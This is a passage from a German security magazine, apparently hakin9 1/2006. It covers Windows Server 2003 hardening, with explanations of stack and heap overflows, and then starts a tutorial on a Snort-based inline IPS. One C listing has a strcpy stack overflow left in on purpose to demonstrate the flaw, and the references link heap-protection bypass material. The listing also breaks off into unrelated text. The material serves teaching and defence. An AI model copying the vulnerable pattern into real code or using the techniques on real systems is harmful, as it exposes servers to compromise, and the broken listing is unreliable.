auf den IIS konzentrieren. Es sollte angemerkt werden, dass der IIS der offenkundige Grund für die ExploitFähigkeit für die meisten Windows Server-Systeme ist.
Was ist neu, was ist besser Windows Server 2003 basiert auf dem Windows 2000 Server, aber bringt Kompatibilität und einige andere Features, die in Windows XP gefunden werden können, mit. Am wichtigsten von alledem ist, dass es mehr Sicherheit bringt. Keine der Serverkomponenten werden
hakin9 Nr. 1/2006
37
Fokus
während der Zeit des Hochfahrens aktiviert, wodurch die Angriffsmöglichkeiten bei einer neuen Installierung reduziert werden. Bestimmte andere Sicherheitsverbesserungen wurden ebenso eingeführt. Schauen wir uns diese einmal genauer an.
Default-Einstellungen für Common Services
Eine Veränderung im Windows Server 2003 ist, dass jetzt eine geringere Anzahl von Diensten unter dem lokalen Systemaccount (NT AUTHORITY\SYSTEM) laufen. Nahezu alle Dienste benutzten diesen Account in Windows 2000. Programme, die in diesem Kontext laufen, besitzen unbegrenzte Privilegien auf dem lokalen Computer, was ein offensichtliches Sicherheitsrisiko darstellt. Anstelle den lokalen Systemaccount zu benutzen, verwenden einige Common Services jetzt den lokalen Service- (NT AUTHORITY\ LOCAL SERVICE) oder Netzwerkservice-Account (NT AUTHORITY\ NETWORK SERVICE). Diese Accounts haben wesentlich geringere Privilegien als der lokale Systemaccount. Es gibt immer noch viele Dienste, die sich als lokales System einloggen (zum Beispiel neben vielen anderen der Automatische Update-Service, der Computer Browser-Service und der DHCP-Client). Jedoch machen das nicht mehr alle. Zum Beispiel der Alerter-Service, der den lokalen Systemaccount in Windows 2000 benutzte, benutzt nun im Server 2003 den lokalen Service-Account und der DNS, der in Windows 2000 den lokalen Systemaccount benutzte, nutzt den Netzwerkservice-Account im Server 2003. Das sorgt für eine höhere Sicherheit.
Veränderungen im Authentifizierungsprozess
Der Authentifizierungsprozess wurde zum Zwecke erhöhter Sicherheit verbessert, sowohl beim Einloggen auf dem lokalen Computer als auch beim Anmelden in einer Domain. Eine wichtige Veränderung bei der Authentifizierung am lokalen
38
hakin9 Nr. 1/2006
Computer ist, dass es unmöglich ist, leere Passwörter einzugeben, wenn remote versucht wird auf das System zuzugreifen (beachten Sie allerdings, dass es dennoch möglich ist leere Passwörter in der Konsole zu benutzen). Cross-Forest-Trusts (siehe Kasten Was sind Cross-Forest-Trusts) sind ein neues Feature für die Authentifizierung in einer Active Directory-Domain. Ein Forest-Trust benutzt Kerberos v5 (siehe Kasten Was ist Kerberos), der die Authentifikationsanfrage über die Forests routet. Administratoren können den Umfang der Authentifizierung zwischen zwei Forests, die in einer Vertrauensbeziehung zueinander stehen, mithilfe von selektiver Authentifizierung kontrollieren. Wenn die Option selektive Authentifizierung benutzt wird, kann man manuell Berechtigungen in den Domainen und Ressourcen vergeben, auf die man Benutzern in dem anderen Forest Zugang gewähren möchte.
Veränderungen am IIS
Eine der drastischsten Veränderungen sind die Standardeinstellungen
im IIS 6.0. Der Webserver wird jetzt nicht mehr standardmäßig bei der Installation des Windows Server 2003 Standard, Enterprise oder der Datacenter-Editionen installiert (aus offensichtlichen Gründen wird er bei der Webserver-Edition installiert). Das hilft dabei, die all zu verbreitete Erscheinung zu beseitigen, bei der Administratoren unbeabsichtigterweise gefährliche Webserver im Netzwerk laufen lassen. Wenn wir IIS 6.0 installieren, ist es standardmäßig im locked down-Modus, in dem dynamische Inhaltskomponenten wie zum Beispiel ASP, WebDAV und FrontPage-Erweiterungen deaktiviert sind. IIS 6.0 beinhaltet außerdem neue Authentifizierungsmethoden und eine URL-Authentifizierung zur besseren Sicherheit. Ein prinzipiell neues Feature, das mit dem Design des IIS 6.0 verbunden ist, ist der HTTP-Treiber HTTP.sys, der im Kernelmodus läuft. Er ist nicht nur darauf abgestimmt die Performance des Webservers und dessen Skalierbarkeitseigenschaften zu verbessern, sondern auch um
Was sind Cross-Forest-Trusts
Windows Server 2003 unterstützt eine neue Art Vertrauensmechanismus, genannt Cross-Forest-Trusts. Der Term Forest wird benutzt, um eine Domainhierarchie in einem Windows Active Directory zu beschreiben, in der eine Gruppe von Domains, die denselben DNS-Namen besitzen, Tree genannt werden. Wenn mehrere Forests in einer Organisation aufgesetzt werden (üblicherweise aus Sicherheitszwecken oder wegen einer Fusionierung), muss das Vertrauen zwischen den beiden entweder manuell oder unter Benutzung des neuen Mechanismus der Cross-ForestTrusts, die den Vorgang automatisieren, verwaltet werden (beim Cross-Forest-Trust hat jede Domain in Forest A eine implizierte Vertrauensbeziehung zu jeder Domain in Forest B).
Was ist Kerberos
Kerberos ist ein Netzwerkauthentifizierungsprotokoll, welches eine sichere Authentifizierung ermöglicht, indem es sich der Kryptographie mit einem geheimen Schlüssel bedient, um sowohl die Client- als auch die Serverinstanzen zu authentifizieren und deren Kommunikationen zu verschlüsseln. Es wurde so gestaltet, dass es Sicherheitsfragen durch eine Authentication by Assertion angeht, in der das Erfordernis eines separaten Logins für jeden Netzwerkdienst, auf den zugegriffen wird, vermieden wird, indem ein Benutzer sich in einer einzelnen Domain oder einem Bereich einloggen muss. Sobald der Benutzer sich in einer Domain oder einem Bereich eingeloggt hat bestätigt ein einzelner Dienst die Identität des Benutzers in dessen Namen, sobald derjenige auf Ressourcen zugreift.
www.hakin9.org
Windows Server 2003-Sicherheit
Standardservices im Windows Server 2003 Dienste, die unter Local Service laufen: • • • • • • • • • • • • •
Alerter; Application Layer Gateway Service; Remote Registry; Smart Card; Smart Card Helper; SSDP Discovery Service; TCP/IP NetBIOS Helper; Telnet; UPS; Universal Plug and Play; Web Client; Windows Image Acquisition; WinHTTP Web Proxy Auto-Discovery Service.
Dienste, die unter Network Service laufen: • • • • • •
DHCP Client; Distributed Transaction Coordinator; DNS Client; License Logging; Performance Logs and Alerts; RPC Locator.
Dienste, die standardmäßig ausgeschaltet sind: • • • • • • • • • • • • • • • • • • • •
IIS ist standardmäßig nicht installiert; Alerter; Clipbook; Distributed Link Tracking Server; Human Interface Device Access; Imapi CDROM Burning Service; ICF/ICS; Intersite Messenging; License Logging; Messenger; NetMeeting Remote Desktop Sharing; Network DDE; Network DDE DSDM; Routing and Remote Access; Telnet; Terminal Service Session Discovery; Themes; WebClient; Windows Image Acquisition (WIA); der Kerberos KDC ist standardmäßig ebenfalls deaktiviert und wird dann automatisch über DCPromo aktiviert.
die Sicherheitshaltung des Servers signifikant zu stärken. HTTP.sys arbeitet als Gateway für Benutzeranfragen an den Webserver. Es parst als erstes die Anfrage und sendet sie dann zu den entsprechenden Arbeitsprozessen auf Benutzerebene. Die Beschränkung der Arbeitsprozesse auf den Benutzermodus verhindert, dass diese auf geschützte Ressourcen im Systemkernel zugreifen können.
Dadurch ist der Spielraum für einen Angreifer, der einen privilegierten Zugang zum Server erhalten möchte, stark beschränkt.
Veränderungen an der Mitgliedschaft in der Gruppe Jeder
In vorangegangenen Versionen von Windows bestand die eingebaute Jeder-Gruppe aus buchstäblich jedem, der auf das System zugriff,
www.hakin9.org
darunter auch die anonymen Benutzer. Im Server 2003 beinhaltet die Jeder-Gruppe nicht anonyme Benutzer, so dass selbst wenn der Gruppe Jeder Berechtigungen zugesprochen werden, die, die anonym am System angemeldet sind, diese Berechtigungen nicht besitzen. Jene die sich anonym anmelden, sind Teil der Anonymous Logon-Gruppe, einer weiteren eingebauten Gruppe mit einer vorgegebenen Mitgliedschaft. In einer Windows Server 2003Domainumgebung können wir Mitgliedern der Anonymous LogonGruppe erlauben, Mitglieder der Jeder-Gruppe auf einem Domaincontroller zu werden, indem wir die Sicherheitspolicy der Domain ändern (Start -> Programs -> Administrative Tools -> Domain Security Policy). Im linken Fenster der Konsole lassen Sie die folgenden Knoten auffächern: Default Domain Controller Policy, Computer Configuration, Windows Settings, Security Settings, Local Policies, und klicken auf Security Options. Im Details-Fenster klicken Sie mit der rechten Maustaste auf Network Access: aktivieren Sie Everyone permissions apply to anonymous users. Wählen Sie Properties aus und überprüfen Sie, ob die Define this policy-Checkbox aktiviert ist. Klicken Sie danach auf Enabled, um die Policy anzuwenden. Windows Server 2003 brachte diese und einige weitere Sicherheitsveränderungen mit. Allerdings taucht eine Frage immer wieder auf. Ist diese Bemühung ausreichend? – wahrscheinlich nicht. Das ist deshalb der Fall, da wir an erster Stelle eine relativ sichere out-of-the-box Konfiguration haben. So weit, so gut. Aber wollen wir wirklich den neu gestarteten Server so beibehalten, ohne ihn an eine spezielle Aufgabe anzupassen? Wir müssen feststellen, dass die meisten Serversysteme zur Auslieferung an Endbenutzer gemacht werden – sei es konfiguriert als Webserver oder zum Hosting von anderen Intranet/ Internet-Anwendungen.
hakin9 Nr. 1/2006
39
Fokus
Was ist mit den Diensten los Mit der Einführung des eigentlichen Wortes Dienste fingen die Dinge an schlimmer zu werden. Schränken wir unsere Betrachtung aber auf spezielle Microsoft-Dienste ein. Ein Dienst ist eine Anwendung, die im Hintergrund unabhängig von jeder Benutzersession läuft. Weil Dienste automatisch beim Start laufen, sind sie für serverartige Anwendungen, wie zum Beispiel Webserver, gut geeignet. Aber das hat auch seine Nachteile, da ein Benutzer sich möglicherweise nicht bewusst ist, dass ein Dienst läuft. Ohne irgendeine Interaktion durch den Benutzer könnte man eine ganze Menge an Standarddiensten laufen lassen und sich niemals des potenziellen Sicherheitsrisikos bewusst sein. Das wurde vor einiger Zeit mehr als deutlich, als Würmer wie Code Red und Nimda sich im Internet verbreiteten und oft solche Benutzer ausnutzten, die ohne ihr Wissen einen Webserver auf ihrem Arbeitsrechner laufen ließen. Diese infizierten Workstations wiederum verbreiteten den Wurm auf tausenden weiterer Systeme über das Internet. Um diese Fläche für Standardangriffe auf Windows Server 2003 zu reduzieren, deaktivierte Microsoft 19 Dienste und beschränkte mehrere Dienste darauf, dass diese nun mehr nur noch mit geringeren Berechtigungen laufen (siehe Kasten Standardservices im Windows Server 2003).
Wie Dienste ausgenutzt werden
Windowsdienste werden ausgenutzt, indem der Dienst so manipuliert wird, dass er einen Befehl ausführt oder auf das Dateisystem zugreift, um geschützte Dateien zu lesen oder zu beschreiben. Weil die meisten Dienste im Sicherheitskontext des SYSTEM-Accounts laufen, haben sie üblicherweise privilegierten Zugriff auf die meisten Systemfunktionen. Das macht sie besonders interessant für Angreifer. Indem ein
40
hakin9 Nr. 1/2006
Buffer-Overflow-Angriffe
Zwei Hauptarten von Buffer-Overflow-Angriffen werden benutzt: Stack-Overflow und Heap-Overflow.
Stack-Overflow
Den Stack zu überschreiben ist die verbreitetste und am meisten bekannte Art Sicherheitslücke, die in heutiger Software anzutreffen ist. Der Zweck der Angriffe ist der, einen Buffer soweit zum Überlaufen zu bringen, dass das EIP-Instruction-Pointerregister, das auf dem Stack zu finden ist, mit der Adresse eines mitgelieferten frei wählbaren Shellcodes überschrieben wird. Wenn eine aufgerufene Funktion zurückspringt, wird anschließend die im EIP-Register gefundene Adresse ausgeführt, wodurch der mitgelieferte Shellcode mit den Privilegien des angegriffenen Prozesses ausgeführt wird. Wenn ein angreifbarer Prozess die Privilegien von suid/ sgid root besitzt, kann dies zu einer verheerenden Kompromittierung des Systems führen.
Heap-Overflow
Heap-Overflow ist dem Überschreiben des Stacks sehr ähnlich. Jedoch werden anstelle des EIP auf dem Stack Bereiche, die vom Prozess reserviert wurden (wie zum Beispiel die über den Aufruf von malloc()), überschrieben. Indem ein Buffer, der dynamisch reserviert wurde, überschrieben wird, können Daten in die nächst benachbarte Sektion des Heaps fließen. Dadurch wird es dem Angreifer ermöglicht, den Inhalt dieser Sektionen zu verändern.
Dienst manipuliert wird, kann ein Angreifer seine eigenen Privilegien erhöhen, um nahezu alles machen zu können, was er möchte. Zum Beispiel behandelt das Microsoft Security Bulletin MS02-006 einen Buffer-Overflow im SNMPService, der es einem Angreifer ermöglichen würde, remote Befehle mit den Rechten des SYSTEM-Accounts auszuführen. Andere Exploits sind weniger ernst, aber können möglicherweise immer noch Sicherheitslücken in einem Dienst ausnutzen, um andere unautorisierte Aktionen zu ermöglichen. Zum Beispiel gab es in der Vergangenheit Sicherheitslöcher (die glücklicherweise nicht Windows Server 2003 betrafen) im SMTP-Dienst, die es einem Spammer ermöglichen, seine Identität zu verschleiern, indem er eine E-Mail durch unseren Server weiterleiten lässt. Der Trick für einen Angreifer ist es, Zugriff auf den Dienst zu erhalten. Für die meisten Internetdienste ist dies einfach nur eine Frage der Verbindung zu dem zugewiesenen TCP-Port. Bei anderen Diensten muss man Zugriff auf die lokale Konsole besitzen, um in der Lage zu sein, irgendetwas ernsthaft aus-
www.hakin9.org
nutzen zu können. Um einen Dienst zu schützen, müssen wir auf die vorhandenen Exploits achten und die Gefährdung für diese Exploits minimieren.
Auf dem Weg zum Exploit
Buffer-Overflow-Angriffe (siehe Kasten Buffer-Overflow-Angriffe) gehören zu den bekanntesten Mechanismen, oder Vektoren, zum Eindringen in Computer. Bei dieser Art von Exploit sendet ein Angreifer eine lange Zeichenkette an einen Eingabe-Stream oder eine Eingabekontrolle – länger als der zugeteilte Speicherbuffer aufnehmen kann. Die lange Zeichenkette speist Code in das System ein, der ausgeführt wird und einen Virus oder Wurm ausführt. In diesem Artikel behandeln wir Windows-Heap- und StackOverflows, da sie an Popularität in Hinblick auf Zuverlässigkeit und Stabilität beim Angriff auf Windowssysteme gewinnen. Jedoch brachte die Einführung von Windows Server 2003 – und später Windows XP SP2 – ein weiteres Level an Schutz mit, das Hacker umgehen müssten, um Heap-Overflows auf diesen Systemen ausnutzen zu können. Schauen wir uns
Windows Server 2003-Sicherheit
das Prinzip klassischer Ausnutzung von Heap-Overflows an und sehen, warum diese Techniken nicht bei den neuesten Windows-Plattformen funktionieren. Danach wird ein Weg gezeigt, auf dem das erste Schutzlevel umgangen werden kann, um ein Überschreiben des Speichers auszulösen.
Heap-Schutz
Klassische Heap-Overflow-Techniken funktionierten gut unter Windows XP (SP0, SP1) und Windows 2000-Betriebssystemen. Mit dem Eintreffen von Windows Server 2003 änderten sich die Dinge. Microsoft modifizierte die Heap-Managementroutinen und Heap-Strukturen, um die Gültigkeit eines Stückes (engl. Chunk) zu überprüfen, bevor es reserviert oder freigegeben wird: •
•
ein Sicherheitscookie wurde in den Chunk-Header eingeführt. Wenn ein Chunk reserviert wird, wird dieser Cookie überprüft um sicherzustellen, dass kein Overflow aufgetreten ist; Forward- und Backward-Linkpointer werden verifiziert bevor der Trennungsprozess aus irgendeinem Grund stattfindet (Reservierung, Vereinigung). Dieselbe Überprüfung wird für virtuell reservierte Blöcke durchgeführt. Diese Überprüfung ist das wirkliche Hindernis, das man angehen muss, um einen Heap-Overflow ausnutzen zu können.
Andere Schutzeinrichtungen wurden ebenfalls eingeführt, hauptsächlich die Randomisierung von PEB (Process Execution Block) und die Kodierung von Exception-Pointer. Das Ziel ist es, die Anzahl fester und bekannter Funktionspointer, die global vom Prozess benutzt werden, zu reduzieren. Diese Speicherstellen waren bevorzugte Ziele, um einen Heap-Overflow auf die alte Art und Weise auszunutzen. Leider war der Schutz nicht 100%ig Heap-Overflow-sicher, wie Alexander Anisimov Anfang 2005 zeigte. Dieser erste veröffentlichte
Listing 1. Probleme im Schutzmechanismus des Stacks #include <stdio.h> #include <windows.h> HANDLE hp=NULL; int ReturnHostFromUrl(char **, char *); int main() { char *ptr = NULL; hp = HeapCreate(0,0x1000,0x10000); ReturnHost-FromUrl(&ptr,"http://www.ivizindia.com/index.html"); printf("Host is %s",ptr); HeapFree(hp,0,ptr); return 0; } int ReturnHostFromUrl(char **buf, char *url) { int count = 0; char *p = NULL; char buffer[40]="";
}
// Get a pointer to the start of the host p = strstr(url,"http://"); if(!p) return 0; p = p + 7; // do processing on a local copy strcpy(buffer,p); // Run -> MMC) aus. Für die IIS6.0-Einstellungen erstellen Sie ein Backup und aktivieren Sie Logging. Fügen Sie ebenfalls Checks für Cookie und Referer hinzu. Entfernen Sie alle Erweiterungen von Anwendungen (.asa, .asp, .cdx, .cer, .idc, .shtm, .shtml, .stm) und fügen Sie sie nach Bedarf wieder hinzu. Für alle Erweiterungen, die wieder hinzugefügt werden, überlegen Sie sich, ob Sie die HTTP-Verbs, die die Erweiterung akzeptieren soll, beschränken. Anstelle das Sie alle Verbs (DELETE, GET, HEAD, POST und TRACE) benutzen, brauchen wir nur GET für Statische Webseiten benutzen und POST, wenn wir Formulare auf unserer Seite haben. Das entspricht dem Principle of least privilege. Deaktivieren Sie die Default-Webseite und wählen Sie die minimalen Berechtigungen hier für die Webseite, indem Sie das Häkchen in der Run scripts (wie zum Beispiel ASP)-Box entfernen. Kontrollieren und entfernen Sie alle IIS-Beispielverzeichnisse, entfernen Sie Internet Printing. Unter dem Ordner Network -> Network Configurations, ändern Sie den Wert für Prohibit use of Internet Connection Sharing on your DNS Domain Network auf enabled, indem Sie mit der rechten Maustauste darauf klicken und Enable auswählen. Benennen Sie den Account IUSR_ um und ändern Sie das Passwort. Verändern Sie die Webseite, so dass sie den umbenannten IUSR-Account und das damit verbundene Passwort benutzt. Als letztes sollten Sie nicht vergessen, die NTFS-Datei- und Ordnerrechte zu setzen.
www.hakin9.org
Über den Autor
Rudra Kamal Sinha Roy arbeitet seit etlichen Jahren im Sicherheitsbereich und derzeit für iViZ Techno Solutions, einer in Indien ansässigen Sicherheitsfirma. Er war aktiv bei einer großen Anzahl von Sicherheitsaudits für verschiedene globale Organisationen beteiligt. Er leitet ebenfalls die Ortsgruppe von OWASP (Open Web Application Security Project), Kolkata-Chapter. Seine Mitwirkung bei der Leitung der Hands-on Training on Ethical Hacking ist äußerst wichtig gewesen. Er ist ebenfalls aktiver Mitwirkender beim Formulieren des ISSAF (Internet Systems Security Assessment Framework), einem weltweit akzeptierten Standard für die Beurteilung von Sicherheit.
Dank und Credits
Mein herzlicher Dank geht an diese Personen: Nilanjan De, Abhisek Datta. Im Artikel wurden Text-Auszüge von Nicolas Falliere und Deb Shinder verwertet. Ich möchte ebenso gern HD Moore vom Metasploit-Projekt, der die Screenshots zuließ, danken. Meine aufrichtige Anerkennung geht an die Forschungsarbeit von David Litchfield, Halvar Flake, Alexander Anisimov und deren geschätzten Beitrag zu Windows Exploitation-Techniken.
einen langen Weg gehen. Glücklicherweise arbeitet Microsoft derzeit an einem Projekt mit dem Codenamen R2, einem Major-Upgrade für den Windows Server 2003, der schätzungsweise noch vor Ende 2005 oder wahrscheinlich spätestens Anfang 2006 veröffentlicht wird. Wir werden sehen, ob dieser das mitbringt, was benötigt wird, um das System abzusichern. Windows Longhorn Server ist der Codename für das nächste Server-Betriebssystem von Microsoft. Es wird der Nachfolger von Windows Server 2003 sein und wird vermutlich Windows Server 2007 genannt werden. Es wird erwartet, dass Windows Server 2007
ebenfalls mit WinFS ausgeliefert wird – einem Windows SpeicherSubsystem, dass bei Windows Vista aufgrund von Zeitdruck fallen gelassen wurde und wahrscheinlich Teil des Windows Vista Service Pack sein wird. Das ist eine ähnliche Beziehung wie die zwischen Windows XP und Windows Server 2003. Es bleibt immer noch abzuwarten, wie viel Sicherheit (da Microsoft Sicherheitsverbesserugnen hinzufügen wird) es wirklich angesichts von sich schnell ändernden Sicherheitsszenarien ermöglichen kann. l
Im Internet • • • • • • •
http://www.microsoft.com/windowsserver2003/default.mspx – Microsoft Windows Server 2003, http://www.microsoft.com/windowsserver2003/technologies/default.mspx – Windows Server 2003 Kerntechnologien, http://windowsnetworking.com/ – ein guter Ort für Windows-bezogene Artikel, http://securityfocus.com/microsoft/images/winheapoverflow.c – Proof-of-concept Heap-Overflow, http://www.blackhat.com/presentations/win-usa-02/halvarflake-winsec02.ppt – Third Generation Exploitation-Präsentation, http://www.maxpatrol.com/defeating-xpsp2-heap-protection.pdf – Defeating Windows XP SP2 Heap protection and DEP bypass-Paper, http://www.metasploit.com – Metasploit Project.
www.hakin9.org
Ein IPS-System auf Basis von Snort Praxis Michał Piotrowski
Schwierigkeitsgrad
Zum Schutz vor Angriffen auf IT-Systemen werden meistens Firewalls, und zum Überwachen von Angriffen dagegen Systeme zum Aufdecken von Einbrüchen verwendet. Allerdings reicht heutzutage das bloße Aufdecken von Fremdlingen nicht aus. Was nützt das Aufdecken eines Angriffs, wenn wir nicht im Stande sind, ihn zu vereiteln? Eine Lösung bieten Systeme, die den Angriffen vorbeugen. In diesem Artikel erfahren Sie, wie man ein solches System erstellen und pflegen kann.
Z
u den bekanntesten Werkzeugen, die zum Schützen eines Netzwerks vor Fremdlingen dienen, gehören Firewalls und Intrusion Detection Systeme (IDS). Während die Aufgabe von Firewalls in der Kontrolle der Pakete besteht, die von verschiedenen Netzwerkstationen abgeschickt werden, analysieren die Intrusion Detection Systeme Informationen, die in den Paketen enthalten sind. Wurden dort Unregelmäßigkeiten oder Informationen entdeckt, die auf einen Angriff hindeuten, wird ein Alarm ausgelöst. Das Sicherheitsniveau, das dank dieser Techniken erreicht werden kann, ist aber alles andere als befriedigend. Eine Firewall soll vor allem einen Teil des Verkehrs durchlassen – sonst wäre es sinnlos, ein geschütztes Netzwerk mit dem Rest der Welt zu verbinden. Das Ziel eines Angriffs kann gerade ein verfügbarer Dienst sein. Selbstverständlich kann das IDS einen Angriff erkennen, der die Firewall passiert. Es kann ihm aber als passiver Beobachter nicht vorbeugen – dessen Anwesenheit wird also nur einen informativen Wert haben. Es ist zwar möglich ein IDS an eine Firewall anzukoppeln, damit es in Echtzeit alle
48
hakin9 Nr. 1/2006
Penetrationsversuche sperrt. Es kann auch so konfiguriert werden, dass es alle verdächtigen Verbindungen kapert. Leider hat eine solche Lösung viele Nachteile. Erstens werden bei sehr vielen Angriffen nur ein paar Pakete oder sogar nur ein Paket gesendet. Die meisten DoS-Angriffe auf ein Programm oder auf ein System, das nach dem Empfangen von präparierten Daten abstürzt und auch Buffer-Over-
In diesem Artikel erfahren Sie... • •
was Systeme zum Vorbeugen von Angriffen sind, wie man ein IPS-System, das an das Programm Snort angelehnt ist, installiert, konfiguriert und pflegt.
Was Sie vorher wissen/können sollten... • •
www.hakin9.org
Sie sollten Grundlagen der Administration eines Linux-Systems beherrschen, Sie sollten wissen, wie ein TCP/IP-Netzwerk funktioniert.
Ein System zum Vorbeugen von Einbrüchen
Netfilter
Der Mechanismus netfilter ist ein Subsystem des Linux-Kernels, mit dessen Hilfe die Pakete gefiltert, modifiziert und die Netzwerkadressen übersetzt (engl. Network Address Translation – NAT) werden können. Es ist in der Kernelserie 2.4 erschienen und wird in 2.6 immer noch weiterentwickelt. Zum Konfigurieren der Filterregeln oder der Übersetzung wird ein Programm namens iptables verwendet, das im Userspace agiert. Man sollte jedoch beachten, dass es auch andere Methoden gibt, mit deren Hilfe die Filterregeln für den Netzwerkverkehr im Kernel des Systems kontrolliert werden können.
flow-Angriffe, die das angegriffene System zum Aufbauen eines Callbacks mit dem Rechner des Angreifers verwenden, werden gelingen – und zwar selbst dann, wenn das IDS-System die Firewall benachrichtigt, die angegebene IP-Adresse zu sperren. Zweitens kann ein Fremdling diese Eigenschaft eines IDS ausnutzen, und Angriffe von den gesperrten IP-Adressen aus zu simulieren. Einen erfolgreichen Schutz bieten Systeme, die den Angriffen vorbeugen – die sogenannten Intrusion Prevention Systeme (IPS), die die Vorteile von Firewalls mit denen von IPS in sich vereinigen.
Ein IPS wird im System, ähnlich wie eine Firewall, platziert – dabei sollen alle Daten, die im Netzwerk geschickt werden, die IPS passieren. Die Daten werden durch das IPS im Hinblick auf Eigenschaften von bekannten Angriffen analysiert und entweder weitergeleitet oder gesperrt, je nachdem wie sie eingestuft wurden. Es gibt sehr viele verschiedenartige IPS-Lösungen auf dem Markt. Ihre Preise betragen zwischen ein Paar bis einigen Dutzend Tausend Dollar. Versuchen wir also in Anlehnung an die im Internet verfügbare Software ein IPS-System aufzubauen.
Werkzeuge
Als Basis unseres Systems zum Vorbeugen von Angriffen fungiert das Betriebssystem Linux mit einem Kernel in der Version 2.6.12.6. Dies ist wichtig, weil die Kernels der 2.6 über eine Unterstützung für das Erstellen von Bridges verfügen – die Kernels der Serie 2.4 benötigen hierbei entsprechende Patches. Es ist irrelevant, welche Linux-Distribution wir verwenden. Es wird aber eine einfache Distribution empfohlen, die über keine Xwindow, Multimediaapplikationen und andere ähnliche Tools verfügt. Das Herzstück unseres IPS wird die quelloffene Software Snort IDS in der Version 2.4.0 sein. Es
handelt sich hierbei um ein sehr fortgeschrittenes Programm, das in einigen kommerziellen IDS/IPSs verwendet wird. Wir benutzen die Version 2.4.0, da sie in dem Projekt snort_inline integriert ist, das das Beziehen von Paketen mithilfe des Mechanismus netfilter und des Programms iptables anstelle über die Bibliothek libpcap (wie im Falle der Standard-Konfiguration von Snort) ermöglicht. Zusätzlich werden wir einige Bibliotheken und Werkzeuge benötigen. Es handelt sich hierbei vor allem um die Bibliotheken 1.0.x, LIBIPQ und das Programm bridgeutils. Die Bibliothek LIBIPQ ist ein Bestandteil des Pakets iptables und befindet sich in Zusatzpaketen für Entwickler – wir können alternativ die Quellen benutzen, indem wir iptables mit dem Befehl make install-devel installieren. Außerdem verwenden wir das Programm Oinkmaster, um die Signatur-Datenbank automatisch zu aktualisieren. Der Rechner, auf dem wir das IPS starten, ist mit drei Netzwerkkarten ausgestattet. Nur einer davon ist eine IP-Adresse zugeordnet – diese Karte wird das Gerät verwalten. Die restlichen Karten werden nur bis zur 2. Schicht des OSI-Modells konfiguriert, zwischen denen Pakete ausgetauscht werden, die im Netzwerks geschickt
Abbildung 1. IPS in einem Netzwerk
www.hakin9.org
hakin9 Nr. 1/2006
49
Praxis
werden. Damit wird unser IPS zu einer Brigde, die für die restlichen Geräte und Rechner unsichtbar ist. Das Schema eines beispielhaften Netzwerks nach dem Anschließen eines IPS wurde in Abbildung 1 dargestellt. In diesem Artikel bauen wir nicht das gesamte Netzwerk auf, sondern konzentrieren uns auf das IPS.
Wir bauen eine Bridge
Bei einer Bridge handelt es sich um ein Gerät, das in der Sicherungsschicht (Data Link) des OSI-Modells agiert und zum Verlinken von verschiedenen Segmenten eines Computernetzwerks dient. Es gibt zwei Vorteile, die mit der Anwendung einer Bridge als IPS oder Firewall verbunden sind: •
•
einfache Konfiguration – dies resultiert daraus, dass eine Bridge über keine IP-Adressen verfügt und leicht innerhalb eines Netzwerks platziert werden kann, ohne dass in anderen Geräten eine neue Adressierung oder Routing durchgeführt werden müssen. Das Anschließen eines IPS dieses Typs verursacht Änderungen, die mit denen nach dem Anschließen eines gewöhnlichen Switches vergleichbar sind; Sicherheit – sie besteht darin, dass das Gerät transparent, d.h. für alle Scanner praktisch unsichtbar ist. Es verfügt über keine IP-Adresse – es gibt also keine Möglichkeit es zu kontaktieren, geschweige denn anzugreifen. Man kann zwar einen Fehler in der IPS-Software ausnutzen, mit dessen Hilfe das IPS beim Verarbeiten eines präparierten Pakets abstürzt – zum Glück sind aber solche Probleme eher selten.
Wir beginnen das Aufbauen der Bridge mit der Konfigurierung zweier Netzwerkschnittstellen von IPS – und zwar so, damit sie Pakete austauschen können. Zu diesem Zweck müssen wir den Kernel mit
50
hakin9 Nr. 1/2006
Arten von IPS-Systemen
Das beschriebene Gerät ist ein Netzwerksystem zum Aufdecken der Fremdlinge (NIPS, engl. Network Intrusion Prevention System). Dies ist zur Zeit das bekannteste IPS-System. Zu weiteren Systemen gehören: •
•
Layer Seven Switches – es handelt sich hier um Geräte, die dem IPS sehr ähnlich sind. Sie werden in der Regel zum Aufteilen der Belastung auf mehrere Geräte verwendet, können aber auch ausgewählte Pakete auf der Grundlage von Regeln in einer Datenbank sperren. Applikations-IPS (HIPS, engl. Host Intrusion Prevention System) – es handelt sich hierbei um Software-Lösungen, die lokal auf jeder geschützten Station installiert werden. Sie integrieren sich in das Betriebssystem und überwachen die Funktionen anderer Applikationen. Sie schützen das System vor den meisten Gefahren, wie Buffer-Overflow, Viren, Trojaner oder Spyware.
den Optionen kompilieren, die sich in Listing 1 befinden. Nachdem wir das System neu gestartet haben, fügen wir eine neue virtuelle Schnittstelle br0 zu, der wir zwei reale Schnittstellen eth0 und eth1 zuschreiben. Um das zu erreichen führen wir folgende Befehle aus:
anderen Seite von IPS durch die Schnittstelle eth1 als auch umgekehrt abgeschickt. Die Karte eth2 verfügt über eine ihr zugeordnete IP-Adresse. Dies ermöglicht uns ein Remote-Einloggen auf dem Gerät.
Wir installieren das Programm Snort
Wir konfigurieren auch die Schnittstelle eth2, die zum Verwalten des Gerätes dient:
Die Installation von Snort ist denkbar einfach. Allerdings muss beim Konfigurieren des Pakets die Option --enable-inline hinzugefügt werden. Sie bewirkt, dass das Programm im Inline-Modus arbeiten wird, wodurch Snort auf der Verkehrsroute von Paketen platziert werden kann. Die Konfiguration, Kompilierung und Installation des Programms wird mit Hilfe der folgenden Befehle durchgeführt:
# ifconfig eth2 10.0.0.1 \
$./configure --enable-inline
# ifconfig eth0 0.0.0.0 up # ifconfig eth1 0.0.0.0 up # brctl addbr br0 # brctl addif br0 eth0 # brctl addif br0 eth1 # ifconfig br0 0.0.0.0 up
netmask 255.255.255.0 up
Von da an werden alle Pakete, die die Schnittstelle eth0 wahrnimmt, an ein Netzwerksegment auf der
$ make # make install
Anschließend erstellen wir den Ordner /etc/snort und platzieren
Listing 1. Konfiguration des Systemkernels Device Drivers Networking support Networking options 802.1d Ethernet Bridging Network packet filtering (replaces ipchains) Bridged IP/ARP packets filtering IP: Netfilter Configuration Userspace queueing via NETLINK IP tables support (required for filtering/masq/NAT) Bridge: Netfilter Configuration Ethernet Bridge tables (ebtables) support
www.hakin9.org
Ein System zum Vorbeugen von Einbrüchen
dort alle benötigten Konfigurationsdateien:
